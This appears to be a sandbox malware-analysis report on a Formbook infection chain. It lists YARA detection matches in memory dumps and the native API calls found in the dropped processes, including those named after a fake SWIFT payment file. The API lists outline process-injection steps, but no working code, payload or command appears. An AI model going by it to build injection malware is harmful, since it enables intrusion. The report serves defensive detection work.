          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000C.00000002.4586555413.0000000008DAA000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: x.exe PID: 3544, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: joedgvvL.pif PID: 2992, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTRMatched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls
          Source: Process Memory Space: cscript.exe PID: 2912, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Found large BAT file
          Source: z1SWIFT_MT103_Payment_552016_cmd.batStatic file information: 1139107
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E8670 NtUnmapViewOfSection,4_2_031E8670
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E8400 NtReadVirtualMemory,4_2_031E8400
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E7A2C NtAllocateVirtualMemory,4_2_031E7A2C
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E7D78 NtWriteVirtualMemory,4_2_031E7D78
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,4_2_031EDD70
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,4_2_031E8D70
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EDC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,4_2_031EDC04
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EDC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,4_2_031EDC8C
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EDBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,4_2_031EDBB0
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E7A2A NtAllocateVirtualMemory,4_2_031E7A2A
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,4_2_031E8D6E
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D264CA NtQueryInformationToken,10_2_00D264CA
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D37460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,10_2_00D37460
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D2643A NtOpenThreadToken,NtOpenProcessToken,NtClose,10_2_00D2643A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D24823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,10_2_00D24823
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D3C1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,10_2_00D3C1FA
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D26500 NtQueryInformationToken,NtQueryInformationToken,10_2_00D26500
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D3A135 NtSetInformationFile,10_2_00D3A135
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D14E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,10_2_00D14E3B
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D24759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,10_2_00D24759
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041A330 NtCreateFile,11_2_0041A330
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041A3E0 NtReadFile,11_2_0041A3E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041A460 NtClose,11_2_0041A460
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041A510 NtAllocateVirtualMemory,11_2_0041A510
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041A48B NtClose,11_2_0041A48B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041A50C NtAllocateVirtualMemory,11_2_0041A50C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92DF0 NtQuerySystemInformation,LdrInitializeThunk,11_2_1DF92DF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92DD0 NtDelayExecution,LdrInitializeThunk,11_2_1DF92DD0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92D30 NtUnmapViewOfSection,LdrInitializeThunk,11_2_1DF92D30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92D10 NtMapViewOfSection,LdrInitializeThunk,11_2_1DF92D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92CA0 NtQueryInformationToken,LdrInitializeThunk,11_2_1DF92CA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92C70 NtFreeVirtualMemory,LdrInitializeThunk,11_2_1DF92C70
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92FE0 NtCreateFile,LdrInitializeThunk,11_2_1DF92FE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92FB0 NtResumeThread,LdrInitializeThunk,11_2_1DF92FB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92F90 NtProtectVirtualMemory,LdrInitializeThunk,11_2_1DF92F90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92F30 NtCreateSection,LdrInitializeThunk,11_2_1DF92F30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,11_2_1DF92EA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92E80 NtReadVirtualMemory,LdrInitializeThunk,11_2_1DF92E80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92BF0 NtAllocateVirtualMemory,LdrInitializeThunk,11_2_1DF92BF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92B60 NtClose,LdrInitializeThunk,11_2_1DF92B60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92AD0 NtReadFile,LdrInitializeThunk,11_2_1DF92AD0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92DB0 NtEnumerateKey,11_2_1DF92DB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF93D70 NtOpenThread,11_2_1DF93D70
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF93D10 NtOpenProcessToken,11_2_1DF93D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92D00 NtSetInformationFile,11_2_1DF92D00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92CF0 NtOpenProcess,11_2_1DF92CF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92CC0 NtQueryVirtualMemory,11_2_1DF92CC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92C60 NtCreateKey,11_2_1DF92C60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92C00 NtQueryInformationProcess,11_2_1DF92C00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92FA0 NtQuerySection,11_2_1DF92FA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92F60 NtCreateProcessEx,11_2_1DF92F60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92EE0 NtQueueApcThread,11_2_1DF92EE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92E30 NtWriteVirtualMemory,11_2_1DF92E30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF939B0 NtGetContextThread,11_2_1DF939B0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92BE0 NtQueryValueKey,11_2_1DF92BE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92BA0 NtEnumerateValueKey,11_2_1DF92BA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92B80 NtQueryInformationFile,11_2_1DF92B80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92AF0 NtWriteFile,11_2_1DF92AF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF92AB0 NtWaitForSingleObject,11_2_1DF92AB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF935C0 NtCreateMutant,11_2_1DF935C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF94650 NtSuspendThread,11_2_1DF94650
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF93090 NtSetValueKey,11_2_1DF93090
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF93010 NtOpenDirectoryObject,11_2_1DF93010
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF94340 NtSetContextThread,11_2_1DF94340
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEAA036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,NtClose,11_2_1DEAA036
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEAA042 NtQueryInformationProcess,11_2_1DEAA042
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041A330 NtCreateFile,11_1_0041A330
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041A3E0 NtReadFile,11_1_0041A3E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041A460 NtClose,11_1_0041A460
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041A510 NtAllocateVirtualMemory,11_1_0041A510
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041A48B NtClose,11_1_0041A48B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041A50C NtAllocateVirtualMemory,11_1_0041A50C
          Source: C:\Windows\explorer.exeCode function: 12_2_08D93E12 NtProtectVirtualMemory,12_2_08D93E12
          Source: C:\Windows\explorer.exeCode function: 12_2_08D92232 NtCreateFile,12_2_08D92232
          Source: C:\Windows\explorer.exeCode function: 12_2_08D93E0A NtProtectVirtualMemory,12_2_08D93E0A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D14C10: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPAX@Z,memset,CreateFileW,DeviceIoControl,memcpy,CloseHandle,??_V@YAXPAX@Z,memset,??_V@YAXPAX@Z,FindClose,??_V@YAXPAX@Z,10_2_00D14C10
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E8788 CreateProcessAsUserW,4_2_031E8788
          Source: C:\Users\Public\alpha.pifFile created: C:\WindowsJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D20C44_2_031D20C4
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D174B110_2_00D174B1
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D2487510_2_00D24875
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D14C1010_2_00D14C10
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1540A10_2_00D1540A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D3419110_2_00D34191
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D3695A10_2_00D3695A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1914410_2_00D19144
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D24EC110_2_00D24EC1
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D3769E10_2_00D3769E
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D25A8610_2_00D25A86
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D23EB310_2_00D23EB3
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D16E5710_2_00D16E57
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1D66010_2_00D1D660
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D33E6610_2_00D33E66
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1EE0310_2_00D1EE03
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D17A3410_2_00D17A34
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D20BF010_2_00D20BF0
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D2074010_2_00D20740
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D16B2010_2_00D16B20
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0040103011_2_00401030
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041E50C11_2_0041E50C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041E52411_2_0041E524
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041D6C911_2_0041D6C9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0041EB5311_2_0041EB53
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00402D8711_2_00402D87
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00402D9011_2_00402D90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00409E5B11_2_00409E5B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00409E6011_2_00409E60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00402FB011_2_00402FB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE011_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01EE2611_2_1E01EE26
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FDC011_2_1DF7FDC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF78DBF11_2_1DF78DBF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01CE9311_2_1E01CE93
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D4011_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01EEDB11_2_1E01EEDB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6AD0011_2_1DF6AD00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF50CF211_2_1DF50CF2
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01FF0911_2_1E01FF09
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01FFB111_2_1E01FFB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD9C3211_2_1DFD9C32
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF60C0011_2_1DF60C00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6CFE011_2_1DF6CFE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF52FC811_2_1DF52FC8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F9211_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB511_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4F4011_2_1DFD4F40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF80F3011_2_1DF80F30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFA2F2811_2_1DFA2F28
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01FCF211_2_1E01FCF2
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF69EB011_2_1DF69EB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E011D5A11_2_1E011D5A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72E9011_2_1DF72E90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E017D7311_2_1E017D73
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF60E5911_2_1DF60E59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E017A4611_2_1E017A46
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01FA4911_2_1E01FA49
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A011_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7696211_2_1DF76962
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6995011_2_1DF69950
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7B95011_2_1DF7B950
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00DAC611_2_1E00DAC6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8E8F011_2_1DF8E8F0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF638E011_2_1DF638E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01AB4011_2_1E01AB40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF468B811_2_1DF468B8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01FB7611_2_1E01FB76
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6284011_2_1DF62840
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6A84011_2_1DF6A840
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E016BD711_2_1E016BD7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCD80011_2_1DFCD800
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF9DBF911_2_1DF9DBF9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FB8011_2_1DF7FB80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFDAAC11_2_1DFFDAAC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFA5AA011_2_1DFA5AA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5EA8011_2_1DF5EA80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD3A6C11_2_1DFD3A6C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E02A9A611_2_1E02A9A6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFD5B011_2_1DFFD5B0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6053511_2_1DF60535
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E0116CC11_2_1E0116CC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5146011_2_1DF51460
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01F7B011_2_1E01F7B0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5C7C011_2_1DF5C7C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01F43F11_2_1E01F43F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01244611_2_1E012446
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6077011_2_1DF60770
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8475011_2_1DF84750
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00E4F611_2_1E00E4F6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7C6E011_2_1DF7C6E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01757111_2_1E017571
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E02059111_2_1E020591
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6B1B011_2_1DF6B1B0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00027411_2_1E000274
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F17211_2_1DF4F172
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF9516C11_2_1DF9516C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFA11811_2_1DFFA118
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E0012ED11_2_1E0012ED
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5010011_2_1DF50100
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01132D11_2_1E01132D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF670C011_2_1DF670C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01A35211_2_1E01A352
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E0203E611_2_1E0203E6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6E3F011_2_1DF6E3F0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFA739A11_2_1DFA739A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4D34C11_2_1DF4D34C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00F0CC11_2_1E00F0CC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01F0E011_2_1E01F0E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E0170E911_2_1E0170E9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7B2C011_2_1DF7B2C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF652A011_2_1DF652A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E02B16B11_2_1E02B16B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E0201AA11_2_1E0201AA
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E0181CC11_2_1E0181CC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEAA03611_2_1DEAA036
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEA2D0211_2_1DEA2D02
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEA891211_2_1DEA8912
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEA5B3211_2_1DEA5B32
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEA5B3011_2_1DEA5B30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEAE5CD11_2_1DEAE5CD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEA108211_2_1DEA1082
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DEAB23211_2_1DEAB232
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0040103011_1_00401030
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041E50C11_1_0041E50C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041E52411_1_0041E524
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041D6C911_1_0041D6C9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_0041EB5311_1_0041EB53
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_1_00402D8711_1_00402D87
